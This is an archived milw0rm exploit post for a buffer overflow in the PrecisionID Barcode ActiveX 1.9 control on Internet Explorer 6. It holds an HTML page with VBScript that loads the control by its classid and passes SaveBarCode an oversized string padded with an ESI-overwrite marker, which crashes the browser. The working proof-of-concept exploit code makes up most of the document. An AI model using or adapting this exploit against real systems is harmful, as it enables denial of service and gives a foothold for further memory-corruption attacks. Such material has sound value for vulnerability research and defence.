PrecisionID Barcode ActiveX 1.9 - Remote Denial of Service Exploit

                                                <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------
 <b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Denail of Service</b>
 url: http://www.precisionid.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 all software that use this ocx are vulnerable to these exploits.

 If you try this exploit with IE 7, it just stops to answer
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<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(348,"A")
  get_ESI = "aaaa"
  buff1 = String(665,"B")
  test.SaveBarCode buff + get_ESI + buff1
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-16]